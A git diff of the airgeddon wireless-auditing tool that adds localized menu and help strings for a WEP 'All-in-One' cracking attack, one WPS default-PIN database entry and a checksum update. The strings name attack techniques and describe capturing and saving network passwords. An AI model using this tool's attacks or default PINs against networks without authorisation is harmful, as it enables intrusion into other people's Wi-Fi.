PINDB["00B6B7"]="10157268 17033473" PINDB["00BEF2"]="28752455" PINDB["00D041"]="79679190" PINDB["00F1CE"]="14169809" @@ -163,6 +163,7 @@ function set_pin_database() { PINDB["944452"]="15310828 29874590 08318725 17579957 26023809 93645348 08983954 88154473 73532866 40011851" PINDB["94FEF4"]="43944552" PINDB["988B5D"]="12345670" + PINDB["9897D1"]="07266881" PINDB["98FC11"]="21421112" PINDB["A00BBA"]="00000000" PINDB["A02187"]="92442559" diff --git a/language_strings.sh b/language_strings.sh index eddac119e..ed21acb4d 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1,8 +1,8 @@ #!/usr/bin/env bash #Title........: language_strings.sh -#Description..: All the translated strings that airgeddon uses are located here. +#Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20170504 +#Date.........: 20170505 #Bash Version.: 4.2 or later #Set language_strings file version @@ -11,7 +11,7 @@ function set_language_strings_version() { debug_print - language_strings_version="6.21-1" + language_strings_version="7.0-1" } #Set different language text strings @@ -295,6 +295,71 @@ function language_strings() { et_misc_texts["RUSSIAN",27]="Эта атака идёт по двум направлениям. Вы можете наблюдать за окном сниффера, чтобы отследить появление пароля. Также можете перейти в панель управления BeEF ${white_color}${beef_control_panel_url}${pink_color} , учётные данные для входа (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" et_misc_texts["GREEK",27]="Αυτή η επίθεση έχει δύο μέρη. Παρακολουθήστε την οθόνη του sniffer για να δείτε εαν εμφανιστεί κάποιος κωδικός. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF στο ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθείστε να ελέγξετε τον browser του χρήστη-πελάτη" + declare -gA wep_texts + wep_texts["ENGLISH",1]="airgeddon. Captured password during WEP attack" + wep_texts["SPANISH",1]="airgeddon. Contraseña capturada en ataque WEP" + wep_texts["FRENCH",1]="airgeddon. Mot de passe obtenu lors de l'attaque WEP" + wep_texts["CATALAN",1]="airgeddon. Contrasenya capturada en atac WEP" + wep_texts["PORTUGUESE",1]="airgeddon. Senha capturada no ataque WEP" + wep_texts["RUSSIAN",1]="airgeddon. В атаке WEP захвачен пароль" + wep_texts["GREEK",1]="airgeddon. Ο κωδικός πρόσβασης κατά την διάρκεια της επίθεσης WEP" + + wep_texts["ENGLISH",2]="Channel" + wep_texts["SPANISH",2]="Canal" + wep_texts["FRENCH",2]="Canal" + wep_texts["CATALAN",2]="Canal" + wep_texts["PORTUGUESE",2]="Canal" + wep_texts["RUSSIAN",2]="Канал" + wep_texts["GREEK",2]="Κανάλι" + + wep_texts["ENGLISH",3]="Hexadecimal" + wep_texts["SPANISH",3]="Hexadecimal" + wep_texts["FRENCH",3]="Hexadécimal" + wep_texts["CATALAN",3]="Hexadecimal" + wep_texts["PORTUGUESE",3]="Hexadecimal" + wep_texts["RUSSIAN",3]="Шестнадцатеричный" + wep_texts["GREEK",3]="Δεκαεξαδικό" + + wep_texts["ENGLISH",4]="WEP key decrypted successfully:" + wep_texts["SPANISH",4]="Clave WEP desencriptada con éxito:" + wep_texts["FRENCH",4]="Clef WEP déchiffré:" + wep_texts["CATALAN",4]="Clau WEP desencriptada amb èxit:" + wep_texts["PORTUGUESE",4]="Senha WEP descriptografada com sucesso:" + wep_texts["RUSSIAN",4]="Ключ WEP расшифрован:" + wep_texts["GREEK",4]="Το κλειδί WEP αποκρυπτογραφήθηκε με επιτυχία:" + + wep_texts["ENGLISH",5]="WEP AP Info" + wep_texts["SPANISH",5]="Info WEP AP" + wep_texts["FRENCH",5]="Info WEP AP" + wep_texts["CATALAN",5]="Info WEP AP" + wep_texts["PORTUGUESE",5]="Info WEP AP" + wep_texts["RUSSIAN",5]="Информация о WEP ТД" + wep_texts["GREEK",5]="Πληροφορίες WEP AP" + + wep_texts["ENGLISH",6]="Channel" + wep_texts["SPANISH",6]="Canal" + wep_texts["FRENCH",6]="Canal" + wep_texts["CATALAN",6]="Canal" + wep_texts["PORTUGUESE",6]="Canal" + wep_texts["RUSSIAN",6]="Канал" + wep_texts["GREEK",6]="Κανάλι" + + wep_texts["ENGLISH",7]="The password was saved on file" + wep_texts["SPANISH",7]="La contraseña se ha guardado en el fichero" + wep_texts["FRENCH",7]="Le mot de passe est enregistré dans le fichier" + wep_texts["CATALAN",7]="La contrasenya s'ha guardat en el fitxer" + wep_texts["PORTUGUESE",7]="A senha foi salva no arquivo" + wep_texts["RUSSIAN",7]="Пароль был сохранён в файле" + wep_texts["GREEK",7]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" + + wep_texts["ENGLISH",8]="Press [Enter] on the main script window to continue, this window will be closed" + wep_texts["SPANISH",8]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará" + wep_texts["FRENCH",8]="Appuyez sur [Entrée] dans la fenêtre principale du script pour continuer, cette fenêtre se fermera" + wep_texts["CATALAN",8]="Prem [Enter] a la finestra principal del script per continuar, aquesta finestra es tancarà" + wep_texts["PORTUGUESE",8]="Pressione [Enter] na janela principal do script para continuar e esta janela será fechada" + wep_texts["RUSSIAN",8]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто" + wep_texts["GREEK",8]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" + declare -A arr arr["ENGLISH",0]="This interface ${interface} is already in managed mode" arr["SPANISH",0]="Esta interfaz ${interface} ya está en modo managed" @@ -776,21 +841,21 @@ function language_strings() { arr["RUSSIAN",59]="11. Вернуться в главное меню" arr["GREEK",59]="11. Επιστροφή στο αρχικό μενού" - arr["ENGLISH",60]="9. About & Credits" - arr["SPANISH",60]="9. Acerca de & Créditos" - arr["FRENCH",60]="9. A propos de & Crédits" - arr["CATALAN",60]="9. Sobre & Crédits" - arr["PORTUGUESE",60]="9. Sobre & Créditos" - arr["RUSSIAN",60]="9. О программе и Благодарности" - arr["GREEK",60]="9. Σχετικά με & Εύσημα" - - arr["ENGLISH",61]="11. Exit script" - arr["SPANISH",61]="11. Salir del script" - arr["FRENCH",61]="11. Sortir du script" - arr["CATALAN",61]="11. Sortir del script" - arr["PORTUGUESE",61]="11. Sair do script" - arr["RUSSIAN",61]="11. Выйти из скрипта" - arr["GREEK",61]="11. Έξοδος script" + arr["ENGLISH",60]="10. About & Credits" + arr["SPANISH",60]="10. Acerca de & Créditos" + arr["FRENCH",60]="10. A propos de & Crédits" + arr["CATALAN",60]="10. Sobre & Crédits" + arr["PORTUGUESE",60]="10. Sobre & Créditos" + arr["RUSSIAN",60]="10. О программе и Благодарности" + arr["GREEK",60]="10. Σχετικά με & Εύσημα" + + arr["ENGLISH",61]="12. Exit script" + arr["SPANISH",61]="12. Salir del script" + arr["FRENCH",61]="12. Sortir du script" + arr["CATALAN",61]="12. Sortir del script" + arr["PORTUGUESE",61]="12. Sair do script" + arr["RUSSIAN",61]="12. Выйти из скрипта" + arr["GREEK",61]="12. Έξοδος script" arr["ENGLISH",62]="8. Beacon flood attack" arr["SPANISH",62]="8. Ataque Beacon flood" @@ -920,13 +985,13 @@ function language_strings() { arr["RUSSIAN",77]="Был выбран недействительный интерфейс" arr["GREEK",77]="Επιλέχθηκε άκυρη διεπαφή" - arr["ENGLISH",78]="10. Change language" - arr["SPANISH",78]="10. Cambiar idioma" - arr["FRENCH",78]="10. Changer de langue" - arr["CATALAN",78]="10. Canviar l'idioma" - arr["PORTUGUESE",78]="10. Alterar idioma" - arr["RUSSIAN",78]="10. Сменить язык" - arr["GREEK",78]="10. Αλλαγή γλώσσας" + arr["ENGLISH",78]="11. Change language" + arr["SPANISH",78]="11. Cambiar idioma" + arr["FRENCH",78]="11. Changer de langue" + arr["CATALAN",78]="11. Canviar l'idioma" + arr["PORTUGUESE",78]="11. Alterar idioma" + arr["RUSSIAN",78]="11. Сменить язык" + arr["GREEK",78]="11. Αλλαγή γλώσσας" arr["ENGLISH",79]="1. English" arr["SPANISH",79]="1. Inglés" @@ -2165,7 +2230,7 @@ function language_strings() { arr["FRENCH",233]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Entrée] pour utiliser le chemin proposé ${normal_color}[${hashcat_potpath}]" arr["CATALAN",233]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte ${normal_color}[${hashcat_potpath}]" arr["PORTUGUESE",233]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão ${normal_color}[${hashcat_potpath}]" - arr["RUSSIAN",233]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчоанию ${normal_color}[${hashcat_potpath}]" + arr["RUSSIAN",233]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${hashcat_potpath}]" arr["GREEK",233]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${hashcat_potpath}]" arr["ENGLISH",234]="Contratulations!! It seems the key has been decrypted" @@ -3650,7 +3715,7 @@ function language_strings() { arr["ENGLISH",419]="Do you want to spoof your MAC address during this attack? ${normal_color}[y/n]" arr["SPANISH",419]="¿Deseas falsear la dirección MAC de tu tarjeta durante el ataque? ${normal_color}[y/n]" - arr["FRENCH",419]="Voulez-vous falsifier l'adresse MAC de votre carte pendant l'attaque? ${normal_color}[y/n]" + arr["FRENCH",419]="Voulez-vous falsifier l'adresse MAC de votre carte pour l'attaque? ${normal_color}[y/n]" arr["CATALAN",419]="¿Vols falsejar l'adreça MAC de la targeta durant l'atac? ${normal_color}[y/n]" arr["PORTUGUESE",419]="Você quer modificar o endereço MAC da sua interface durante o ataque? ${normal_color}[y/n]" arr["RUSSIAN",419]="Вы хотите подменить свой MAC-адрес во время этой атаки? ${normal_color}[y/n]" @@ -3680,6 +3745,102 @@ function language_strings() { arr["RUSSIAN",422]="Когда airgeddon работает в контейнере Docker, то автоматическое обновление отключено,. Если вы хотите обновить программу, то снова загрузите образ отмеченный как \"latest\"" arr["GREEK",422]="Η διαδικασία της αυτόματης ενημέρωσης είναι απενεργοποιημένη όταν το airgeddon τρέχει σε Docker container. Εάν θέλετε να το ενημερώσετε, κατεβάστε ξανά το αρχείο με την ετικέτα \"latest\"" + arr["ENGLISH",423]="5. WEP \"All-in-One\" attack" + arr["SPANISH",423]="5. Ataque WEP \"Todo-en-Uno\"" + arr["FRENCH",423]="5. Attaque WEP \"Tout-en-Un\"" + arr["CATALAN",423]="5. Atac WEP \"Tot-en-Un\"" + arr["PORTUGUESE",423]="5. Ataque WEP \"Tudo-em-Um\"" + arr["RUSSIAN",423]="5. Атака на WEP \"Все-в-Одном\"" + arr["GREEK",423]="5. Επίθεση WEP \"All-in-One\"" + + arr["ENGLISH",424]="The selected network is invalid. Encryption type of target network must be WEP" + arr["SPANISH",424]="La red seleccionada no es válida. El tipo de encriptación de la red objetivo debe ser WEP" + arr["FRENCH",424]="Le réseau sélectionné est invalide . Le réseau cible doit être en WEP" + arr["CATALAN",424]="La xarxa seleccionada no és vàlida. El tipus d'encriptació de la xarxa objectiu ha de ser WEP" + arr["PORTUGUESE",424]="A rede selecionada é inválida. O tipo de criptografia da rede deve ser WEP" + arr["RUSSIAN",424]="Выбранная сеть не подходит. Целевая сеть должна иметь шифрование WEP" + arr["GREEK",424]="Το επιλεγμένο δίκτυο δεν είναι έγκυρο. Ο τύπος κρυπτογράφησης του δικτύου-στόχος πρέπει να είναι WEP" + + arr["ENGLISH",425]="You have a valid WEP target network selected. Script can continue..." + arr["SPANISH",425]="Tienes una red objetivo WEP válida seleccionada. El script puede continuar..." + arr["FRENCH",425]="Choix du réseau cible WEP valide. Le script peut continuer..." + arr["CATALAN",425]="Tens una xarxa objectiu WEP vàlida seleccionada. El script pot continuar..." + arr["PORTUGUESE",425]="Você tem uma rede WEP válida selecionada. O script pode continuar..." + arr["RUSSIAN",425]="У вас есть подходящая целевая сеть WEP. Скрипт может продолжать..." + arr["GREEK",425]="Έχετε επιλέξει ένα έγκυρο WEP δίκτυο-στόχος. Το script μπορεί να συνεχίσει..." + + arr["ENGLISH",426]="9. WEP attacks menu" + arr["SPANISH",426]="9. Menú de ataques WEP" + arr["FRENCH",426]="9. Menu d'attaques WEP" + arr["CATALAN",426]="9. Menú d'atacs WEP" + arr["PORTUGUESE",426]="9. Menu de ataques WEP" + arr["RUSSIAN",426]="9. Меню атак на WEP" + arr["GREEK",426]="9. Μενού επιθέσεων WEP" + + arr["ENGLISH",427]="WEP attacks menu" + arr["SPANISH",427]="Menú de ataques WEP" + arr["FRENCH",427]="Menu d'attaques WEP" + arr["CATALAN",427]="Menú d'atacs WEP" + arr["PORTUGUESE",427]="Menu de ataques WEP" + arr["RUSSIAN",427]="Меню атак на WEP" + arr["GREEK",427]="Μενού επιθέσεων WEP" + + arr["ENGLISH",428]="If real clients exist connected to the WEP encrypted network, the process will be significantly accelerated. Enough IVs (Initialization Vectors) will be catched faster" + arr["SPANISH",428]="Si existen clientes reales conectados a la red con encriptación WEP, el proceso se acelerará notablemente. Se obtendrán antes suficientes IVs (Vectores de Inicialización)" + arr["FRENCH",428]="Si des clients légitimes sont connectés à un rseau WEP le processus ira plus vite. Les Ivs requis (vecteurs d'incitiaisation) seront plus vite obtenus." + arr["CATALAN",428]="Si hi ha clients reals connectats a la xarxa amb encriptació WEP, el procés s'accelerarà notablement. S'obtindran abans suficients IVs (Vectors d'Inicialització)" + arr["PORTUGUESE",428]="Se clientes reais estiverem conectados à rede com criptografia WEP, o processo será acelerado significativamente. Serão obtidos IVs (Vetores de Inicialização) mais rapidamente" + arr["RUSSIAN",428]="Если к сети с WEP шифрованием подключены реальные клиенты, то процесс будет значительно ускорен. Будет быстрее накоплено достаточное количество IVs (Векторов Инициализации)" + arr["GREEK",428]="Εάν υπάρχουν αληθινοί συνδεδεμένοι χρήστες στο κρυπτογραφημένο WEP δίκτυο, η διαδικασία θα επιταχυνθεί σημαντικά. Θα καταγραφθούν αρκετά IVs (Initialization Vectors) γρηγορότερα" + + arr["ENGLISH",429]="The WEP \"All-in-One\" attack combines different techniques to generate enough traffic to decrypt the key (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, etc.)" + arr["SPANISH",429]="El ataque WEP \"Todo-en-Uno\" combina diversas técnicas para generar el tráfico suficiente que hace falta para desencriptar la clave (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentación, Falsa asociación, etc.)" + arr["FRENCH",429]="L'attaque WEP \"Tout-en-Un\" combine plusieurs techniques pour générer le trafic nécessaire au décryptage de la clef (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fausse association, etc.)" + arr["CATALAN",429]="L'atac WEP \"Tot-en-Un\" combina diverses tècniques per generar el trànsit suficient que cal per desxifrar la clau (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentació, Falsa associació, etc.)" + arr["PORTUGUESE",429]="O ataque WEP \"Tudo-em-Um\" combina várias técnicas para gerar tráfego suficiente que é necessário para desencriptar a chave (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentação, Falsa associação, etc.)" + arr["RUSSIAN",429]="Атака WEP \"Все-в-Одном\" сочетает в себе различные методы генерации трафика, достаточного для расшифровки ключа (Caffe Latte, Hirte, Replay, Chop-Chop, Дробление, Фальшивые ассоциации и т.д.)" + arr["GREEK",429]="Η \"All-in-One\" επίθεση WEP συνδυάζει διαφορετικές τεχνικές για να παραχθεί αρκετή κίνηση για να αποκρυπτογραφήσει το κλειδί (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, κλπ)" + + arr["ENGLISH",430]="If the password for the wifi network is obtained with the \"All-in-One\" WEP attack, you should decide where to save it. ${green_color}Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${wep_potpath}]" + arr["SPANISH",430]="Si se consigue la contraseña de la red wifi con el ataque WEP \"Todo-en-Uno\", hay que decidir donde guardarla. ${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${wep_potpath}]" + arr["FRENCH",430]="Si le mot de passe est obtenu par une attaque WEP \"Tout-en-Un\", il faut ensuite indiquer l'endroit pour la garder. ${green_color}Entrez la route vers l'endroit où vous voulez garder le fichier ou bien appuyez sur [Entrée] si la route proposée par défaut vous convient ${normal_color}[${wep_potpath}]" + arr["CATALAN",430]="Si s'aconsegueix la contrasenya de la xarxa wifi amb l'atac WEP \"Tot-en-Un \", cal decidir on guardar-la. ${green_color}Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte ${normal_color}[${wep_potpath}]" + arr["PORTUGUESE",430]="Se a senha da rede wifi for obtida com o ataque WEP \"Tudo-em-Um\", onde deseja salvá-la?. ${green_color}Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão ${normal_color}[${wep_potpath}]" + arr["RUSSIAN",430]="Если во время WEP атаки \"Все-в-Одном\" на Wi-Fi сеть получен пароль, вы должны решить, где его сохранить. ${green_color} Наберите путь для сохранения файла или нажмите [Enter] для принятия значения по умолчанию ${normal_color}[${wep_potpath}]" + arr["GREEK",430]="Εάν βρεθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την επίθεση WEP \"All-in-One\", θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. ${green_color}Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${wep_potpath}]" + + arr["ENGLISH",431]="The WEP protocol had a bad design and can be cracked in a few minutes if we have enough generated traffic" + arr["SPANISH",431]="El protocolo WEP tuvo un diseño erróneo y se puede romper en pocos minutos si se genera tráfico suficiente" + arr["FRENCH",431]="Le protocole WEP n'est pas sûr et peut se déchiffrer en quelques minutes si suffisamment de trafic est généré" + arr["CATALAN",431]="El protocol WEP va tindre un disseny erroni i es pot trencar en pocs minuts si es genera trànsit suficient" + arr["PORTUGUESE",431]="O protocolo WEP é um projeto falho e pode ser quebrado em poucos minutos se tivermos tráfego suficiente" + arr["RUSSIAN",431]="Протокол WEP сделан неудачно и при достаточном количестве сгенерированного трафика может быть взломан в считанные минуты" + arr["GREEK",431]="Το πρωτόκολλο WEP είχε κακό σχεδιασμό και μπορεί να σπάσει μέσα σε λίγα λεπτά, αν έχουμε αρκετή κίνηση πακέτων" + + arr["ENGLISH",432]="Captured IVs (Initialization Vectors) are shown on airodump capture window as \"Data\"" + arr["SPANISH",432]="Los IVs (Vectores de Inicialización) capturados, son representados en la ventana de captura de airodump como \"Data\"" + arr["FRENCH",432]="Les IVs (Vecteurs de Initialisation) capturés sont reportés dans la colomne \"Data\" de la console airodump-ng" + arr["CATALAN",432]="Els IVs (Vectors d'Inicialització) capturats, són representats en la finestra de captura de airodump com \"Data\"" + arr["PORTUGUESE",432]="Os IVs (Vetores de Inicialização) capturados, são representados na captura de janela airodump como \"Data\"" + arr["RUSSIAN",432]="Захваченные IVs (Векторы Инициализации) показаны в окне захвата airodump как \"Data\"" + arr["GREEK",432]="Τα ληφθέντα IVs (Initialization Vectors) εμφανίζονται στο παράθυρο καταγραφής airodump ως \"Data\"" + + arr["ENGLISH",433]="Some access points are not vulnerable to certain WEP attacks. Like for example the Chop-Chop attack, that only affects some of them" + arr["SPANISH",433]="Algunos puntos de acceso no son vulnerables a ciertos ataques WEP. Como por ejemplo el ataque Chop-Chop, que solo afecta a algunos" + arr["FRENCH",433]="Certains points d'accès ne sont pas vulnérables à certaines attaques WEP. Comme par example l'attaque Chop-Chop qui affecte seulement à certains Point d'Accès" + arr["CATALAN",433]="Alguns punts d'accés no són vulnerables a certs atacs WEP. Com per exemple l'atac Chop-Chop, que només afecta alguns" + arr["PORTUGUESE",433]="Alguns pontos de acesso não são vulneráveis a certos ataques WEP. Como por exemplo o ataque Chop-Chop, que só afeta alguns" + arr["RUSSIAN",433]="Некоторые точки доступа не подвержены определенным атакам WEP. Например, атаке Chop-Chop подвержены только некоторые из них" + arr["GREEK",433]="Ορισμένα σημεία πρόσβασης δεν είναι ευάλωτα σε ορισμένες επιθέσεις WEP. Για παράδειγμα η επίθεση Chop-Chop, επηρεάζει μόνο μερικά από αυτά" + + arr["ENGLISH",434]="WEP \"All-in-One\" attack has been started. Press [Enter] key on this window to stop it" + arr["SPANISH",434]="El ataque WEP \"Todo-en-Uno\" ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo" + arr["FRENCH",434]="L'attaque WEP \"Tout-en-Un\" a commencé. Pressez la touche [Entrée] dans cette console pour l'arrêter" + arr["CATALAN",434]="L'atac WEP \"Tot-en-Un\" ha començat. Prem [Enter] a aquesta finestra per aturar-lo" + arr["PORTUGUESE",434]="Ataque WEP \"Tudo-em-Um\" iniciado. Pressione a tecla [Enter] nesta janela para parar" + arr["RUSSIAN",434]="Атака WEP \"Все-в-Одном\" началась. Для её остановки клавишу [Enter] в этом окне" + arr["GREEK",434]="Η επίθεση WEP \"All-in-One\" έχει αρχίσει. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" diff --git a/pindb_checksum.txt b/pindb_checksum.txt index 458c652c5..1d510b123 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -40a8721f591e3bfd851bc1cf8d254d4e +8cf6e56f9b694bd50795fb27265dcaf3